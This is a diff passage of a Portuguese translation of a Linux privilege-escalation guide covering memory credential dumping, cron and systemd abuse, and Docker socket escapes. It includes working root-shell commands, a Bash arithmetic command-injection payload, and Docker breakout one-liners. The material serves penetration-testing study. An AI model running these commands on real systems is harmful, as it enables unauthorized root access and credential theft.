atendido. -### Process memory +### Memória do processo -Some services of a server save **credenciais em texto puro na memória**.\ -Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credenciais.\ -However, remember that **as a regular user you can read the memory of the processes you own**. +Alguns serviços de um servidor salvam **credenciais em texto claro na memória**.\ +Normalmente você precisará de **root privileges** para ler a memória de processos que pertencem a outros usuários, portanto isso costuma ser mais útil quando você já é root e quer descobrir mais credenciais.\ +No entanto, lembre-se que **como usuário comum você pode ler a memória dos processos que possui**. > [!WARNING] > Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. > > The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: todos os processos podem ser depurados, contanto que tenham o mesmo uid. Esta é a forma clássica de como o ptrace funcionava. +> - **kernel.yama.ptrace_scope = 0**: todos os processos podem ser depurados, desde que tenham o mesmo uid. Esta é a forma clássica de como ptracing funcionava. > - **kernel.yama.ptrace_scope = 1**: apenas um processo pai pode ser depurado. > - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. > - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB -If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credenciais. +Se você tiver acesso à memória de um serviço FTP (por exemplo) você poderia obter o Heap e procurar dentro dele por credenciais. ```bash gdb -p (gdb) info proc mappings @@ -203,7 +203,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### Script do GDB +#### GDB Script ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Para um dado ID de processo, **maps mostram como a memória é mapeada dentro do espaço de endereçamento virtual desse processo**; também mostra as **permissões de cada região mapeada**. O pseudo-arquivo **mem** **expõe a própria memória do processo**. A partir do arquivo **maps** sabemos quais **regiões de memória são legíveis** e seus deslocamentos. Usamos essa informação para **posicionar no arquivo mem e despejar todas as regiões legíveis** em um arquivo. +Para um determinado PID, os **maps** mostram como a memória é mapeada dentro do espaço de endereçamento virtual desse processo; também mostram as **permissões de cada região mapeada**. O pseudo-arquivo **mem** **expõe a própria memória do processo**. A partir do arquivo **maps** sabemos quais **regiões de memória são legíveis** e seus offsets. Usamos essa informação para **seek into the mem file and dump all readable regions** para um arquivo. ```bash procdump() ( @@ -232,13 +232,13 @@ rm $1*.bin #### /dev/mem `/dev/mem` fornece acesso à memória **física** do sistema, não à memória virtual. O espaço de endereçamento virtual do kernel pode ser acessado usando /dev/kmem.\ -Tipicamente, `/dev/mem` é somente legível por **root** e pelo grupo **kmem**. +Normalmente, `/dev/mem` é legível somente por **root** e pelo grupo **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump for linux +### ProcDump para linux -ProcDump é uma reimaginação para Linux da clássica ferramenta ProcDump da suíte Sysinternals para Windows. Obtenha-o em [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump é uma versão para Linux da clássica ferramenta ProcDump do conjunto Sysinternals para Windows. Obtenha-o em [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,11 +267,11 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Ferramentas -Para fazer dump da memória de um processo você pode usar: +Para despejar a memória de um processo você pode usar: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Você pode remover manualmente os requisitos de root e fazer o dump do processo pertencente a você -- Script A.5 de [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is required) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Você pode remover manualmente os requisitos de root e volcar o processo que pertence a você +- Script A.5 de [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root é necessário) ### Credenciais da memória do processo @@ -282,25 +282,25 @@ Se você encontrar que o processo authenticator está em execução: ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Você pode dump the process (veja as seções anteriores para encontrar diferentes maneiras de dump the memory of a process) e procurar por credentials dentro da memory: +Você pode fazer o dump do processo (veja as seções anteriores para encontrar diferentes maneiras de fazer o dump da memória de um processo) e procurar por credenciais dentro da memória: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -A ferramenta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) irá roubar credenciais em texto claro da memória e de alguns arquivos bem conhecidos. Requer root privileges para funcionar corretamente. +A ferramenta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) irá **roubar credenciais em texto claro da memória** e de alguns **arquivos bem conhecidos**. Requer privilégios de root para funcionar corretamente. -| Funcionalidade | Nome do Processo | +| Funcionalidade | Nome do Processo | | ------------------------------------------------- | -------------------- | -| GDM password (Kali Desktop, Debian Desktop) | gdm-password | +| Senha do GDM (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Active FTP Connections) | vsftpd | -| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | -| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | +| VSFTPd (Conexões FTP ativas) | vsftpd | +| Apache2 (Sessões HTTP Basic Auth ativas) | apache2 | +| OpenSSH (Sessões SSH ativas - uso de sudo) | sshd: | -#### Regexes de Busca/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Expressões Regulares de Busca/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -314,23 +314,23 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Tarefas Agendadas/Cron jobs +## Agendados/Cron jobs -### Crontab UI (alseambusher) rodando como root – privesc em agendador web +### Crontab UI (alseambusher) rodando como root – agendador baseado na web privesc -Se um painel web "Crontab UI" (alseambusher/crontab-ui) estiver rodando como root e estiver vinculado apenas ao loopback, você ainda pode alcançá‑lo via SSH local port-forwarding e criar um job privilegiado para escalar. +Se um painel web “Crontab UI” (alseambusher/crontab-ui) estiver rodando como root e estiver ligado apenas ao loopback, você ainda pode alcançá‑lo via SSH local port-forwarding e criar um job privilegiado para escalar privilégios. -Cadeia típica -- Descobrir porta somente em loopback (por exemplo, 127.0.0.1:8000) e o realm Basic-Auth via `ss -ntlp` / `curl -v localhost:8000` +Typical chain +- Descobrir porta acessível apenas via loopback (e.g., 127.0.0.1:8000) e o realm Basic-Auth via `ss -ntlp` / `curl -v localhost:8000` - Encontrar credenciais em artefatos operacionais: - - Backups/scripts com `zip -P ` - - unidade systemd expondo `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` -- Túnel e login: +- Backups/scripts com `zip -P ` +- unit systemd expondo `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` +- Estabelecer túnel e login: ```bash ssh -L 9001:localhost:8000 user@target # browse http://localhost:9001 and authenticate ``` -- Crie um job com privilégios elevados e execute-o imediatamente (gera um shell SUID): +- Criar um high-priv job e executar imediatamente (drops SUID shell): ```bash # Name: escalate # Command: @@ -340,13 +340,15 @@ cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell ```bash /tmp/rootshell -p # root shell ``` -Hardening -- Não execute o Crontab UI como root; restrinja com um usuário dedicado e permissões mínimas -- Vincule a localhost e restrinja adicionalmente o acesso via firewall/VPN; não reutilize senhas -- Evite embutir segredos em unit files; use secret stores ou EnvironmentFile acessível apenas ao root -- Habilite audit/logging para execuções on-demand de jobs +Endurecimento +- Do not run Crontab UI as root; constrain with a dedicated user and minimal permissions +- Bind to localhost and additionally restrict access via firewall/VPN; do not reuse passwords +- Avoid embedding secrets in unit files; use secret stores or root-only EnvironmentFile +- Enable audit/logging for on-demand job executions -Verifique se algum job agendado é vulnerável. Talvez você consiga tirar proveito de um script executado pelo root (wildcard vuln? pode modificar arquivos que root usa? usar symlinks? criar arquivos específicos no diretório que root usa?). + + +Check if any scheduled job is vulnerable. Maybe you can take advantage of a script being executed by root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -358,8 +360,8 @@ Por exemplo, dentro de _/etc/crontab_ você pode encontrar o PATH: _PATH=**/home (_Observe como o usuário "user" tem privilégios de escrita sobre /home/user_) -Se dentro desse crontab o usuário root tentar executar algum comando ou script sem definir o PATH. Por exemplo: _\* \* \* \* root overwrite.sh_\ -Então, você pode obter um shell root usando: +Se dentro deste crontab o usuário root tentar executar algum comando ou script sem definir o path. Por exemplo: _\* \* \* \* root overwrite.sh_\ +Então, você pode obter um root shell usando: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed @@ -367,11 +369,11 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### Cron usando um script com um wildcard (Wildcard Injection) -Se um script executado por root tiver um “**\***” dentro de um comando, você pode explorar isso para causar comportamentos inesperados (como privesc). Exemplo: +Se um script é executado por root e tem um “**\***” dentro de um comando, você pode explorar isso para causar comportamentos inesperados (como privesc). Exemplo: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Se o wildcard for precedido de um caminho como** _**/some/path/\***_ **, não é vulnerável (nem** _**./\***_ **é).** +**Se o wildcard for precedido por um caminho como** _**/some/path/\***_ **, ele não é vulnerável (mesmo** _**./\***_ **não é).** Leia a página a seguir para mais wildcard exploitation tricks: @@ -383,11 +385,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. Se um cron/parser rodando como root lê campos de log não confiáveis e os alimenta em um contexto aritmético, um atacante pode injetar uma command substitution $(...) que será executada como root quando o cron rodar. +Bash realiza parameter expansion e command substitution antes da avaliação aritmética em ((...)), $((...)) e let. Se um cron/parser executado como root ler campos de log não confiáveis e os alimentar em um contexto aritmético, um atacante pode injetar um command substitution $(...) que será executado como root quando o cron for executado. -- Por que funciona: Em Bash, as expansões ocorrem nesta ordem: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. Assim, um valor como `$(/bin/bash -c 'id > /tmp/pwn')0` é primeiro substituído (executando o comando), depois o `0` numérico restante é usado na aritmética, então o script continua sem erros. +- Why it works: Em Bash, as expansões ocorrem nesta ordem: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. -- Padrão vulnerável típico: +- Typical vulnerable pattern: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -397,7 +399,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: Faça com que texto controlado pelo atacante seja escrito no log analisado de modo que o campo com aparência numérica contenha uma command substitution e termine com um dígito. Garanta que seu comando não imprima para stdout (ou redirecione-o) para que a aritmética permaneça válida. +- Exploitation: Faça com que texto controlado pelo atacante seja escrito no log parseado de modo que o campo com aparência numérica contenha um command substitution e termine com um dígito. Garanta que seu comando não escreva em stdout (ou redirecione) para que a aritmética permaneça válida. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -406,115 +408,115 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -Se você **puder modificar um cron script** executado por root, pode obter um shell muito facilmente: +Se você **puder modificar um cron script** executado como root, pode obter um shell muito facilmente: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Se o script executado por root usa um **diretório onde você tem full access**, pode ser útil deletar essa pasta e **criar um symlink para outra pasta** que sirva um script controlado por você. +Se o script executado por root usa um **diretório onde você tem acesso total**, talvez seja útil apagar essa pasta e **criar um symlink para outra pasta** que aponte para um script controlado por você ```bash ln -d -s ``` ### Cron jobs frequentes -Você pode monitorar os processos para procurar por processos que são executados a cada 1, 2 ou 5 minutos. Talvez você consiga aproveitar isso e escalate privileges. +Você pode monitorar os processos para procurar processos que estão sendo executados a cada 1, 2 ou 5 minutos. Talvez você possa tirar proveito disso e escalar privilégios. -Por exemplo, para **monitorar a cada 0.1s durante 1 minuto**, **ordenar pelos comandos menos executados** e apagar os comandos que foram executados com mais frequência, você pode fazer: +Por exemplo, para **monitorar a cada 0.1s durante 1 minuto**, **ordenar pelos comandos menos executados** e remover os comandos que foram executados com mais frequência, você pode fazer: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Você também pode usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (isso irá monitorar e listar cada processo que iniciar). +**Você também pode usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (ele irá monitorar e listar todo processo que for iniciado). ### Cron jobs invisíveis -É possível criar um cronjob **colocando um carriage return após um comentário** (sem caractere de nova linha), e o cron job funcionará. Exemplo (observe o caractere carriage return): +É possível criar um cronjob **inserindo um carriage return após um comentário** (sem o caractere de nova linha), e o cron job funcionará. Exemplo (observe o caractere carriage return): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` -## Serviços +## Services ### Arquivos _.service_ graváveis -Verifique se você pode escrever qualquer arquivo `.service`. Se puder, você **poderia modificá-lo** para que ele **execute** sua **backdoor quando** o serviço for **iniciado**, **reiniciado** ou **parado** (talvez você precise aguardar até a máquina ser reiniciada).\ -Por exemplo, crie sua backdoor dentro do arquivo .service com **`ExecStart=/tmp/script.sh`** +Verifique se você pode escrever em algum arquivo `.service`; se puder, você **poderia modificá-lo** para que ele **execute** seu **backdoor quando** o serviço for **iniciado**, **reiniciado** ou **parado** (talvez seja necessário aguardar até que a máquina seja reiniciada).\ +Por exemplo, crie seu backdoor dentro do arquivo .service com **`ExecStart=/tmp/script.sh`** ### Binários de serviço graváveis -Tenha em mente que, se você tiver **permissões de escrita sobre binários executados por serviços**, você pode alterá-los para inserir backdoors, de modo que quando os serviços forem reexecutados os backdoors sejam executados. +Tenha em mente que, se você tiver **permissões de escrita sobre binários executados por serviços**, você pode alterá-los para backdoors de forma que, quando os serviços forem reexecutados, os backdoors sejam executados. -### systemd PATH - Caminhos Relativos +### systemd PATH - Caminhos relativos Você pode ver o PATH usado pelo **systemd** com: ```bash systemctl show-environment ``` -Se você descobrir que pode **write** em qualquer uma das pastas do caminho, pode ser capaz de **escalate privileges**. Você precisa procurar por arquivos de **relative paths being used on service configurations** como: +Se você descobrir que pode **write** em qualquer uma das pastas do caminho, pode ser capaz de **escalate privileges**. Você precisa procurar por **relative paths being used on service configurations** em arquivos como: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Então, crie um **executável** com o **mesmo nome do binário do caminho relativo** dentro da pasta PATH do systemd que você consegue escrever, e quando o serviço for solicitado a executar a ação vulnerável (**Start**, **Stop**, **Reload**), seu **backdoor será executado** (usuários sem privilégios normalmente não podem iniciar/parar serviços, mas verifique se você pode usar `sudo -l`). +Então, crie um executável com o mesmo nome que o relative path binary dentro do diretório PATH do systemd que você puder escrever, e quando o serviço for solicitado a executar a ação vulnerável (**Start**, **Stop**, **Reload**), seu **backdoor** será executado (usuários sem privilégios normalmente não podem iniciar/parar serviços, mas verifique se você pode usar `sudo -l`). **Saiba mais sobre serviços com `man systemd.service`.** -## **Temporizadores** +## **Timers** -**Temporizadores** são arquivos de unidade do systemd cujo nome termina em `**.timer**` que controlam arquivos ou eventos `**.service**`. **Temporizadores** podem ser usados como alternativa ao cron, pois possuem suporte nativo para eventos de tempo de calendário e eventos de tempo monotônico, e podem ser executados de forma assíncrona. +**Timers** são arquivos de unidade do systemd cujo nome termina em `**.timer**` que controlam arquivos ou eventos `**.service**`. **Timers** podem ser usados como alternativa ao cron, pois possuem suporte nativo a eventos baseados em tempo de calendário e a eventos de tempo monotônico, além de poderem ser executados de forma assíncrona. -Você pode enumerar todos os temporizadores com: +Você pode enumerar todos os timers com: ```bash systemctl list-timers --all ``` ### Temporizadores graváveis -Se você puder modificar um temporizador, pode fazê-lo executar algumas unidades existentes de systemd.unit (como uma `.service` ou uma `.target`) +Se você puder modificar um timer, pode fazê-lo executar algumas unidades existentes de systemd.unit (como uma `.service` ou uma `.target`) ```bash Unit=backdoor.service ``` -Na documentação você pode ler o que a Unit é: +Na documentação você pode ler o que é a Unit: -> A unit a ser ativada quando este timer expira. O argumento é um unit name, cujo sufixo não é ".timer". Se não especificado, este valor padrão é um service que tem o mesmo nome que o timer unit, exceto pelo sufixo. (See above.) Recomenda-se que o unit name que é ativado e o unit name do timer unit sejam nomeados identicamente, exceto pelo sufixo. +> A unidade a ser ativada quando este timer expira. O argumento é um nome de unidade, cujo sufixo não é ".timer". Se não for especificado, esse valor por padrão corresponde a um .service que tem o mesmo nome da unidade timer, exceto pelo sufixo. (Veja acima.) Recomenda-se que o nome da unidade que é ativada e o nome da unidade do timer sejam idênticos, exceto pelo sufixo. Portanto, para abusar dessa permissão você precisaria: -- Encontre algum systemd unit (like a `.service`) que esteja **executing a writable binary** -- Encontre algum systemd unit que esteja **executing a relative path** e sobre o qual você tenha **writable privileges** no **systemd PATH** (para impersonate that executable) +- Encontrar alguma unidade systemd (como um `.service`) que esteja **executando um binário gravável** +- Encontrar alguma unidade systemd que esteja **executando um caminho relativo** e para a qual você tenha **privilégios de escrita** sobre o **systemd PATH** (para se passar por esse executável) -**Saiba mais sobre timers com `man systemd.timer`.** +Saiba mais sobre timers com `man systemd.timer`. -### **Ativando Timer** +### **Ativar timer** -Para habilitar um timer você precisa de privilégios root e executar: +Para ativar um timer você precisa de privilégios root e executar: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Observe que o **timer** é **ativado** criando um symlink para ele em `/etc/systemd/system/.wants/.timer` +Note the **timer** is **ativado** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) permitem a **comunicação entre processos** na mesma máquina ou em máquinas diferentes dentro de modelos cliente-servidor. Eles utilizam arquivos de descritor Unix padrão para comunicação entre computadores e são configurados através de arquivos `.socket`. +Unix Domain Sockets (UDS) permitem a **comunicação entre processos** na mesma máquina ou em máquinas diferentes dentro de modelos cliente-servidor. Eles utilizam arquivos de descritor padrão do Unix para comunicação entre computadores e são configurados através de arquivos `.socket`. Sockets podem ser configurados usando arquivos `.socket`. -**Aprenda mais sobre sockets com `man systemd.socket`.** Dentro deste arquivo, vários parâmetros interessantes podem ser configurados: +**Saiba mais sobre sockets com `man systemd.socket`.** Dentro desse arquivo, vários parâmetros interessantes podem ser configurados: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Essas opções são diferentes, mas em resumo são usadas para **indicar onde será feito o listen** do socket (o caminho do arquivo de socket AF_UNIX, o IPv4/6 e/ou número de porta a escutar, etc.) -- `Accept`: Recebe um argumento booleano. Se **true**, uma **instância de service é gerada para cada conexão entrante** e somente o socket da conexão é passado para ela. Se **false**, todos os sockets de escuta são **passados para a unit de service iniciada**, e apenas uma unidade de service é gerada para todas as conexões. Esse valor é ignorado para datagram sockets e FIFOs, onde uma única unidade de service lida incondicionalmente com todo o tráfego entrante. **Padrão: false**. Por motivos de desempenho, recomenda-se escrever novos daemons apenas de forma compatível com `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Aceitam uma ou mais linhas de comando, que são **executadas antes** ou **depois** que os **sockets**/FIFOs de escuta sejam **criados** e ligados, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido dos argumentos para o processo. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Essas opções são diferentes, mas um resumo é usado para **indicar onde ele vai escutar** o socket (o caminho do arquivo de socket AF_UNIX, o IPv4/6 e/ou número de porta para escutar, etc.) +- `Accept`: Recebe um argumento booleano. Se **true**, uma **instância de serviço é criada para cada conexão recebida** e somente o socket da conexão é passado para ela. Se **false**, todos os sockets de escuta são **passados para a unidade de serviço iniciada**, e apenas uma unidade de serviço é criada para todas as conexões. Esse valor é ignorado para datagram sockets e FIFOs, onde uma única unidade de serviço trata incondicionalmente todo o tráfego de entrada. **Padrão: false**. Por razões de desempenho, recomenda-se escrever novos daemons apenas de forma compatível com `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Recebem uma ou mais linhas de comando, que são **executadas antes** ou **depois** que os **sockets**/FIFOs de escuta sejam **criados** e vinculados, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido pelos argumentos do processo. - `ExecStopPre`, `ExecStopPost`: Comandos adicionais que são **executados antes** ou **depois** que os **sockets**/FIFOs de escuta sejam **fechados** e removidos, respectivamente. -- `Service`: Especifica o nome da unidade **service** a **ativar** em caso de **tráfego entrante**. Esta configuração só é permitida para sockets com `Accept=no`. O padrão é o service que tem o mesmo nome do socket (com o sufixo substituído). Na maioria dos casos, não deve ser necessário usar esta opção. +- `Service`: Especifica o nome da unidade **service** a **ativar** quando houver **tráfego de entrada**. Essa configuração só é permitida para sockets com `Accept=no`. Por padrão, aponta para o serviço que tem o mesmo nome do socket (com o sufixo substituído). Na maioria dos casos, não é necessário usar essa opção. ### Writable .socket files -Se você encontrar um arquivo `.socket` **gravável** você pode **adicionar** no início da seção `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` e o backdoor será executado antes do socket ser criado. Portanto, você **provavelmente precisará esperar até que a máquina seja reiniciada.**\ +Se você encontrar um arquivo `.socket` **gravável**, pode **adicionar** no início da seção `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` e o backdoor será executado antes do socket ser criado. Portanto, **provavelmente será necessário esperar até que a máquina seja reiniciada.**\ _Observe que o sistema deve estar usando essa configuração de arquivo socket ou o backdoor não será executado_ ### Writable sockets -Se você **identificar qualquer socket gravável** (_agora estamos falando sobre Unix Sockets e não sobre os arquivos de config `.socket`_), então **você pode se comunicar** com esse socket e talvez explorar uma vulnerabilidade. +Se você **identificar qualquer socket gravável** (_agora estamos falando de Unix Sockets e não dos arquivos de configuração `.socket`_), então **você pode se comunicar** com esse socket e talvez explorar uma vulnerabilidade. ### Enumerate Unix Sockets ```bash @@ -538,19 +540,19 @@ socket-command-injection.md ### HTTP sockets -Observe que podem existir alguns **sockets listening for HTTP** requests (_não estou falando dos arquivos .socket, mas dos arquivos que atuam como unix sockets_). Você pode verificar isso com: +Observe que pode haver alguns **sockets escutando requisições HTTP** (_não estou falando dos .socket files, mas dos arquivos que atuam como unix sockets_). Você pode verificar isso com: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Se o socket **responder a uma requisição HTTP**, então você pode **comunicar-se** com ele e talvez **explorar alguma vulnerabilidade**. +Se o socket **responds with an HTTP** request, então você pode **communicate** com ele e talvez **exploit some vulnerability**. -### Docker socket gravável +### Docker Socket Gravável -O Docker socket, frequentemente encontrado em `/var/run/docker.sock`, é um arquivo crítico que deve ser protegido. Por padrão, ele é gravável pelo usuário `root` e por membros do grupo `docker`. Possuir acesso de escrita a esse socket pode levar à escalada de privilégios. Aqui está uma explicação de como isso pode ser feito e métodos alternativos caso o Docker CLI não esteja disponível. +O Docker socket, frequentemente encontrado em `/var/run/docker.sock`, é um arquivo crítico que deve ser protegido. Por padrão, ele é gravável pelo usuário `root` e pelos membros do grupo `docker`. Possuir acesso de escrita a este socket pode levar a privilege escalation. A seguir um resumo de como isso pode ser feito e métodos alternativos caso o Docker CLI não esteja disponível. #### **Privilege Escalation with Docker CLI** -Se você tem acesso de escrita ao Docker socket, você pode escalate privileges usando os seguintes comandos: +Se você tem acesso de escrita ao Docker socket, pode realizar privilege escalation usando os seguintes comandos: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh @@ -559,7 +561,7 @@ Esses comandos permitem executar um container com acesso root ao sistema de arqu #### **Usando Docker API Diretamente** -Em casos em que o Docker CLI não está disponível, o socket do Docker ainda pode ser manipulado usando a Docker API e comandos `curl`. +Em casos em que o Docker CLI não está disponível, o docker socket ainda pode ser manipulado usando a Docker API e comandos `curl`. 1. **List Docker Images:** Retrieve the list of available images. @@ -593,9 +595,9 @@ After setting up the `socat` connection, you can execute commands directly in th ### Outros -Observe que, se você tiver permissões de escrita sobre o docker socket porque está **dentro do grupo `docker`**, você tem [**mais maneiras de escalar privilégios**](interesting-groups-linux-pe/index.html#docker-group). Se a [**Docker API estiver escutando em uma porta** você também poderá comprometê-la](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Observe que, se você tiver permissões de escrita sobre o docker socket por estar **inside the group `docker`** você tem [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Se a [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Veja **mais maneiras de escapar do docker ou abusar dele para escalar privilégios** em: +Check **more ways to break out from docker or abuse it to escalate privileges** in: {{#ref}} @@ -604,7 +606,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -Se você descobrir que pode usar o comando **`ctr`** leia a página a seguir, pois **pode ser possível abusar dele para escalar privilégios**: +Se você puder usar o comando **`ctr`**, leia a página a seguir, pois **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -613,7 +615,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -Se você descobrir que pode usar o comando **`runc`** leia a página a seguir, pois **pode ser possível abusar dele para escalar privilégios**: +Se você puder usar o comando **`runc`**, leia a página a seguir, pois **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -622,15 +624,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus é um sofisticado sistema de Comunicação Interprocessos (IPC) que permite que aplicações interajam e compartilhem dados de forma eficiente. Projetado com o sistema Linux moderno em mente, oferece uma estrutura robusta para diferentes formas de comunicação entre aplicações. +D-Bus é um sofisticado **inter-Process Communication (IPC) system** que permite que aplicações interajam e compartilhem dados de forma eficiente. Projetado para o sistema Linux moderno, oferece um framework robusto para diferentes formas de comunicação entre aplicações. -O sistema é versátil, suportando IPC básico que melhora a troca de dados entre processos, assemelhando-se a **enhanced UNIX domain sockets**. Além disso, ajuda na difusão de eventos ou sinais, promovendo integração fluida entre componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada entrante pode fazer com que um reprodutor de música silencie, melhorando a experiência do usuário. Ademais, o D-Bus suporta um sistema de objetos remotos, simplificando requisições de serviço e invocações de métodos entre aplicações, agilizando processos que antes eram complexos. +O sistema é versátil, suportando IPC básico que melhora a troca de dados entre processos, lembrando **enhanced UNIX domain sockets**. Além disso, ajuda na transmissão de eventos ou sinais, promovendo integração entre componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada recebida pode fazer com que um reprodutor de música silencie, melhorando a experiência do usuário. Adicionalmente, o D-Bus suporta um sistema de objetos remotos, simplificando solicitações de serviço e invocações de métodos entre aplicações, agilizando processos que tradicionalmente eram complexos. -O D-Bus opera em um **allow/deny model**, gerenciando permissões de mensagens (chamadas de método, emissões de sinal, etc.) com base no efeito cumulativo de regras de política correspondentes. Essas políticas especificam interações com o bus, potencialmente permitindo escalada de privilégios através da exploração dessas permissões. +O D-Bus funciona com um **allow/deny model**, gerenciando permissões de mensagens (chamadas de método, emissões de sinal, etc.) com base no efeito cumulativo de regras de política que correspondem. Essas políticas especificam interações com o bus, potencialmente permitindo privilege escalation através da exploração dessas permissões. -Um exemplo de tal política em `/etc/dbus-1/system.d/wpa_supplicant.conf` é apresentado, detalhando permissões para o usuário root possuir, enviar e receber mensagens de `fi.w1.wpa_supplicant1`. +Um exemplo de tal política em `/etc/dbus-1/system.d/wpa_supplicant.conf` é fornecido, detalhando permissões para o usuário root possuir, enviar para e receber mensagens de `fi.w1.wpa_supplicant1`. -Políticas sem um usuário ou grupo especificado são aplicadas universalmente, enquanto políticas de contexto "default" se aplicam a todos não cobertos por outras políticas específicas. +Políticas sem um usuário ou grupo especificado se aplicam universalmente, enquanto políticas de contexto "default" se aplicam a todos não cobertos por outras 